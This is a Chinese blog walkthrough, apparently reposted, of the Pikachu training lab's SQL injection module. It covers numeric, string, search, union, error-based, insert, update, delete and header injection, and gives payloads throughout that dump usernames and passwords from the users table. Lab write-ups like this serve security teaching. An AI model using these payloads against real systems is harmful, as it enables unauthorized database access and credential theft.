Pikahu-SQL注入模块

数字型sql注入(post型):

先输入1:

 由于是post型,所以抓包修改为恒成立:

id=1 or 1=1

 可以看到,页面返回了所有的数据信息。

字符型sql注入(get类型):

直接输入:

 字符型注入需要闭合sql语句,然后加上恒成立,得到所有数据:

kobe' or 1=1 #

搜索型注入:

搜索一个字母k尝试:

 查看源码:

可以看到,这里用了搜索的sql语句:select  username ,id ,email from member where username like '%$name%'   

 同样的道理,可以选择闭合sql语句:k%' or 1=1#:

 得到所有数据:

XX型注入:

数据包裹方式不同而已:a') or 1=1#

联合注入:(以最后一个类型为例)

判断字段数:a')  order by 3#

a')  order by 2#

 

 可以知道字段数是2

然后使用联合查询语句得到数据库:pikachu

a')  union select database(),2#

查询数据库中的表

x') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#

查询users表中的字段名:

x') union select table_name,column_name from information_schema.columns where table_name='users'#

 联合查处得到用户名和密码:a')  union select username,password from users#

报错注入:

 条件:后台没有屏蔽报错信息

常用函数:updatexml() exactvalue() floor()(取整函数)

 其他步骤省略(可以根据上面修改payload)。直接得到用户名和密码:

k') and updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)#

 

insert注入:

插入类型sql语句: insert into member (username ,pw,sex,phonenum,email,address) valuse('hzk','123456',1,123,123,123);

在插入的必填项中:hzk' or  updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)  or '

其他步骤相同,复制payload即可。

update注入:

先登录进去,然后在修改信息的框中直接填入语句即可,payload和insert的相同:

hzk' or  updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)  or '

得到用户名和密码

 

delete类型注入:

删除时抓包看一下:

 后台根据id然后删除,发送到repeater,然后改包:

id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1)

 因为是在url中,所以需要进行url的编码:

 

得到用户名密码。

Http Header注入:

登陆之后发现有对头部信息的获取,所以可能存在注入

 抓包:

 修改user-agent或者cookie完成注入:

firefox'or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1)  ),1) or '

  得到用户名密码。

猜你喜欢

转载自www.cnblogs.com/hzk001/p/12309317.html